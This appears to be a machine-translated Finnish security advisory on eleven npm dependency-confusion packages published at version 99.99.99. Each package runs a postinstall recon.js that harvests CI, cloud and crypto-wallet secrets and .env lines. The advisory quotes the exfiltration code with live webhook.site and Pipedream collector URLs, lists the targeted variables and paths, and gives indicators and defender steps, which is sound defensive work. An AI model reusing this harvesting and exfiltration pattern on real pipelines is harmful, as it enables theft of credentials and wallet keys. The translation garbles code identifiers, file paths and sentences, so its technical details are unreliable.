TL; DR
Yksi npm-tili julkaistiin 17.6.2026. yksitoista pakettia, joilla on yksi tarkoitus ja yksi hyötykuormaKymmenen heistä kantaa cryptodao- etuliite (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); yhdestoista on laajuinen @public-for-cdao/coreJokainen julkaistiin versiona 99.99.99 ja toimittaa tavuidenttisen recon.js joka jatkuu postinstall.
Nimet kertovat kaiken. Ne lukevat kuin krypto-/DAO-projektin yksityisen työkaluketjun sisäiset rakennuspalikat. Julkaistuina julkiseen npm-rekisteriin keinotekoisen korkealla versiolla, ne odottavat koontiversiota. pipeline joka on konfiguroitu selvittämään kyseiset nimet ja joka saavuttaa julkisen npm:n ennen yksityistä rekisteriä – tai sen sijaan. Tämä on riippuvuuden hämmennystä, ja hyötykuorma on viritetty tarkalleen sen mukaan, mihin sen odotetaan laskeutuvan: CI/CD juoksijaa.
Kun postinstall tulipalot, recon.js kerää isäntätiedot, käy läpi karkeasti neljäkymmentä pilvi-, CI- ja kryptolompakkoympäristömuuttujaa, lukee minkä tahansa .env tiedostot, jotka se voi löytää, ja lähettää salaisuudet sisältävät rivit sanatarkasti eteenpäin ja lähettää sitten nipun kahdelle kerääjälle — webhook.site ja Pipedream-päätepiste — TLS-varmenteen vahvistus poistettu käytöstä. Kopio kirjoitetaan myös kohtaan /tmp.
vakavuus: korkeaVaikutuksen kohteena oleva ekosysteemi: NPMKaikki yksitoista pakettia olivat julkaistu kirjoitushetkellä.
Hyökkäyksen anatomia
Mekanismissa on neljä liikkuvaa osaa, eikä mikään niistä ole hienovarainen, kun sen oppii tekemään. Katso yksi kerros paketin nimen ohi.
1. Versioiden inflaatio resolverin houkuttimena. Jokainen paketti ilmoittaa version 99.99.99Riippuvuussekaannus syntyy, kun paketinhallitsija pyytää sisäinen nimi, tarkistaa myös julkisen rekisterin ja valitsee siitä uusimman version löydökset. npm:n oletusvalinta sirkumfleksi- tai jokerimerkkialueelle on tyydyttävin versio kaikissa konfiguroiduissa lähteissä; jos sekä yksityinen Jos rekisteri ja julkinen npm-vastaus ovat samalle nimelle, suurempi versionumero voittaa. A 99.99.99 päihittää käytännössä minkä tahansa projektin todellisen sisäisen version saavutettu, joten resolveri, jota ei ole kiinnitetty yksityiseen lähteeseen, suosii julkinen – ja tässä tapauksessa vihamielinen – kopio. Käyttäjän ei tarvitse tietää kohteen todelliset versionumerot; absurdin maksimin valitseminen takaa aina tasapelin murtaa heidän tiensä.
2. Asennuksen jälkeinen liipaisin. package.json kytkee hyötykuorman asennukseen elinkaari:
{ "scripts": { "postinstall": "node recon.js" } } Paketin tuontia ei tarvita. Pelkkä asentaminen – mikä CI:n avulla pipeline toimii automaattisesti — toimii recon.js.
3. Laaja salainen pyyhkäisy. recon.js kokoaa tulostaulukon vaiheittain:
- Isäntäkonteksti: isäntänimi, alusta ja versio, arkkitehtuuri, käyttäjätunnus, työskentely hakemistoon.
- Ympäristömuuttujat: se iteroi kiinteän noin neljänkymmenen nimen ja tietueen luettelon kaikki asetetut. Lista on paljastava – se yhdistää geneerisiä CI-tokeneja (CI_JOB_TOKEN, CI_REKISTERI_SALASANA, GITLAB_ACCESS_TOKEN) ja pilvi tunnistetiedot (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) rekisteri- ja säilösalaisuuksien avulla (NPM_TOKEN, DOCKER_SALASANA, SATAMAN SALASANA) ja selvästi kryptovaluuttamakuinen klusteri: YKSITYINEN_AVAIN, MEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCTallennetut arvot katkaistaan ensimmäisiin 50 merkkiin.
- .env tiedostot: se tutkii luettelon poluista — .env, ../.ympäristö, /sovellus/.ympäristö, /sovellus/taustajärjestelmä/.env, /sovellus/botti/.ympäristö, /home/gitlab-runner/.env, /root/.env, ja .tuotanto/.kehitys variantteja – ja kaikille olemassa oleville tiedostoille se suodattaa sisällön vastaamaan rivejä AVAIN|SALAINEN|TUNNUS|PASSI|YKSITYINEN|MUISTUTUS ja lisää nuo rivit **kokonaisuudessaan, katkaisemattomina** tuloksiin.
- Build-host-konteksti: se listaa 20 ensimmäistä merkintää /rakentaa/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ja / Tmp /.
Polkuluettelo ja muuttujaluettelo painotetaan GitLab-suorittimien suhteen, mikä osoittaa hyötykuorma suoraan itse isännöidyn CI-infrastruktuurin eikä kehittäjän kannettava tietokone. Saalisluettelon ryhmittely luokittain tekee suunnitellusta saaliista selkeän:
| Luokka | Muuttujat / saavutetut polut |
|---|---|
| CI/CD identiteetti ja käyttöönotto | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| pilvi | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Rekisteri ja säilö | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Tietovarastot | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Kryptovaluutta / lohkoketjuvaluutta | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Viestit | SLACK_TOKEN, DISCORD_TOKEN |
| Levyllä | .env perhe + /home/gitlab-runner/.env, /root/.env, /app/**/.envhakemistolistaukset /builds/, /var/lib/gitlab-runner/ |
Kryptoklusteri on osa, joka erottaa tämän yleisestä CI-salaisuudesta. pyyhkäisy: lompakon siemenlausekkeet ja allekirjoitusavaimet näkyvät vain ympäristössä, jossa on lohkoketjuprojektiin, ja ne liittyvät suoraan kryptodao-/kyltti/sopimukset kuljetusliikkeiden nimeäminen.
4. Kaksinkertainen ulosvirtaus, jossa vahvistus on poistettu käytöstä. Kerätty taulukko on sarjoitettu ja lähetetty kahteen kohteeseen:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) hylkääLuvaton: false poistaa käytöstä lähtevän liikenteen TLS-varmennetarkistukset puhelut. Sama data tulostetaan stdout-tilaan (joten se päätyy myös CI-työlokeihin) ja kirjoitettu /tmp/.npm_recon_ .json-tiedostoVirheet niellään hiljaa, joten epäonnistunut lähetys ei jätä asennuksen tulosteeseen jälkiä yhden ainoan jälkeen. [tiedustelu] asennettuna linja.
Tiedoston johtokommentissa sitä kuvaillaan "riippuvuussekaannusksi". Tiedusteluhyötykuorma." Ympäristöarvojen katkaisu 50 merkkiin on konseptitodistuksen muoto. Se, mikä siirtää sen läsnäoloon perustuvan majakan ohi, on .env käsittely: salaisia linjoja välitetään kokonaisuudessaan ja määränpäät ovat kaksi toimivaa, hyökkääjän hallitsemaa keräilijää pikemminkin kuin pesuallas, joka lasketaan vain osumia.
Aikajana
Julkaisumalli on yhden komentosarjalla tehdyn push-lähetyksen allekirjoitus, ei yksitoista itsenäiset lataukset.
| Aika (UTC, 17.6.2026) | Tapahtuma |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 julkaistu |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — tähtäimellä tutkittu variantti, ~24 minuuttia myöhemmin |
Kymmenen pakettia lähti 29 sekunnin aikana, noin yksi kolmen sekunnin välein. Laajennusalue @public-for-cdao/core seurasi noin 24 minuuttia myöhemmin — toinen saman kohteen nimeämiskäytäntö, jos kuluttava projekti viittaa sisäinen työkaluketju laajuuden alla pelkkien nimien sijaan.
Kompromissin indikaattorit
| Tyyppi | Osoitin |
|---|---|
| Kerääjä | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Kerääjä | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Asenna koukku | postinstall: node recon.js |
| Pudotettu tiedosto | /tmp/.npm_recon_<timestamp>.json |
| Tukkimerkki | [recon] <pkg>@<ver> installed on <hostname> (stdout CI-lokeissa) |
| Behavioral | rejectUnauthorized: false lähtevän HTTPS:n kautta asennuksen aikana |
| hyötykuorma | recon.js, identtinen kaikissa yhdessätoista paketissa (yksi jaettu koontiversio) |
| Versio | 99.99.99 jokaisessa paketissa |
| Jäsenyydet | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (kaikki 99.99.99) |
| julkaisija | aduljune / aduljune@proton.me (sähköpostiosoitetta ei vahvistettu, ei linkitettyä lähdetietokantaa) |
Attribuutio ja havaittu käyttäytyminen
Kaikki klusterissa viittaa yhteen käteen. Kaikki yksitoista pakettia julkaistiin. npm-tilin kautta aduljune (aduljune@proton.me, vahvistamaton osoite ilman linkitetty lähdekoodivarasto), 25 minuutin aikana, samaan aikaan 99.99.99 versio, lähettäminen recon.js jonka sisältö on tavu tavulta identtinen kaikissa paketti (MD5 vastaa kaikkia yhtätoista uutettua kopiota). Se on yksi hyötykuorma leimattu nimiluetteloon, ei itsenäistä koodin uudelleenkäyttöä.
Nimiluettelo määrittää aiotun kohteen. kryptodao-* ja cdao kuvaile krypto-/DAO-projektin yksityisen moduulin asettelu ja hyötykuorman harvest-luettelo peilit, jotka arvaavat: yleisten CI- ja pilvisalaisuuksien ohella se erityisesti saavuttaa YKSITYINEN_AVAIN, MEMONIC, SEED_PHRASEja Ethereum/BSC RPC ja palveluntarjoajan avaimet. .env hakupolut ja hakemistolistaukset ovat GitLab-runnerin spesifinen. Havaittavissa oleva vaikutus on, että mikä tahansa pipeline huijattu asentamaan näitä nimet välittäisivät CI-tokeninsa, pilviavaimensa ja levyllä olevat tiedot .env salaisuuksia – ja erityisesti lohkoketjuprojekti, sen lompakkomateriaali – kahdelle kolmannen osapuolen keräilijälle.
Emme esitä väitteitä siitä, kuka tiliä käyttää tai mitä he aikoivat sillä tehdä. data. Itsessään pätevät faktat: nimet kohdistuvat tietynlaiseen sisäinen työkaluketju, hyötykuorma lukee ja lähettää todellisia salaisia arvoja, ja infrastruktuuri oli toiminnassa.
Vaikutus, trendit ja puolustajien ohjeistus
Riippuvuussekavuus pysyy tehokkaana, koska se hyödyntää resolverin käyttäytymistä, ei a haavoittuvuus missä tahansa paketissa. Kantaja on tässä triviaali – yksitoista lähes tyhjää paketteja – mutta räjähdyssäde on mikä tahansa pipeline virheellisesti suosii julkista NPM:ää sisäiselle nimelle. CI-runnerit ovat huonoin paikka tälle: ne pitävät täsmälleen tokenit ja .env tiedostot, joita tämä hyötysisältö lukee, ja ne asentuvat riippuvuudet ei-vuorovaikutteisesti, joten asennuksen jälkeen juoksee kenenkään näkemättä.
Tämä klusteri sopii myös toistuvaan kaavaan: asennusaikaiset hyötykuormat, jotka esiintyvät "tutkimukseksi" tai "tiedusteluksi" samalla kun se suorittaa todellista valtakirjojen keräämistä. Levy tiedostossa ei muuta sitä, mitä koodi tekee juoksijalle. Kaksi suunnitteluvaihtoehtoa pysyy toiminnan hiljaisuus: jokainen verkko- ja tiedostojärjestelmätoiminto on kääritty poikkeusten käsittelijä, joka hylkää virheet, kuten estetty lähetys tai puuttuva tiedosto ei tuota diagnostista tulosta, ja ainoa tulostettu asia on yksi vaaraton [tiedustelu] … asennettu rivi, joka sulautuu normaaliin asennuspuheluun. webhook.site ja Pipedream on myös tarkoituksellista kätevyyttä – molemmat ovat ilmaisia, välittömästi valmisteltuja pyyntöjen sieppauspalveluita, joten operaattori ei tarvitse palvelimia omat ja kohteet näyttävät tavallisilta SaaS-isäntänimiltä lähtölokeissa.
Taloudelliset syyt tekevät tästä puolustajan huomion arvoisen, vaikka operaattorin koodi on triviaali. Yhdentoista nimen rekisteröiminen ei maksa mitään, hyötykuorma on yksi tiedosto kopioidaan yksitoista kertaa, ja paketinhallinta suorittaa kaiken suorituksen. Yksi väärin määritetty pipeline missä tahansa, joka käyttää yhtä näistä nimistä, maksaa koko operaatio.
Konkreettisia toimia puolustajille:
- Kiinnitä sisäiset käyttöoikeudet yksityiseen rekisteriisi. Määritä npm niin, että sisäiset nimet
ja vaikutusalueet tulkitsevat vain rekisteriäsi vasten (vaikutusalueelliset .npmrc-rekisterimääritykset, tai välityspalvelin, joka ei koskaan mene julkiseen npm:ään omistettujen nimiavaruuksien osalta). Varaa julkiset laajuusnimesi, jotta kukaan muu ei voi rekisteröidä niitä.
- Commit lockfiles ja asenna –ignore-scripts -komennolla CI:ssä mahdollisuuksien mukaan, tai tarkista pieni joukko riippuvuuksia, jotka todella tarvitsevat asennusskriptejä. recon.js ei voi toimia, jos asennuksen jälkeen ei suoriteta.
- Käsittele 99.99.99 (tai muuta järjettömän korkeaa) versiota sisäiseltä näyttävästä nimestä kuin punainen lippu riippuvuuksien tarkastelussa ja rekisterin valvonnassa.
- Hälytys asennuksen aikaisesta ulosmenosta. A asennuksen jälkeen joka avaa lähtevän HTTPS-yhteyden yhteys – erityisesti varmenteen vahvistuksen ollessa pois käytöstä – webhook.site, Pipedream tai vastaavat pyyntöjen sieppauspalvelut kannattaa estää verkon reunalla ja merkitä ne rakennuslokeihin.
- Metsästä esineitä. Tarkista juoksijat /tmp/.npm_recon_*.json ja [recon] … asennettu … -merkkiin viimeaikaisissa CI-lokeissa. Jos löytyy, kierrätä joka valtakirja, joka on alttiina sille pipeline — CI-tokenit, pilviavaimet, rekisteritokenit ja kaikki lompakon siemenet tai yksityiset avaimet, jotka ovat ympäristössä tai .env-tiedostoissa.
Viitteet
Tästä klusterista ei ollut olemassa ulkoista raportointia kirjoitushetkellä; analyysi yllä oleva perustuu suoraan julkaistuun pakkauksen sisältöön




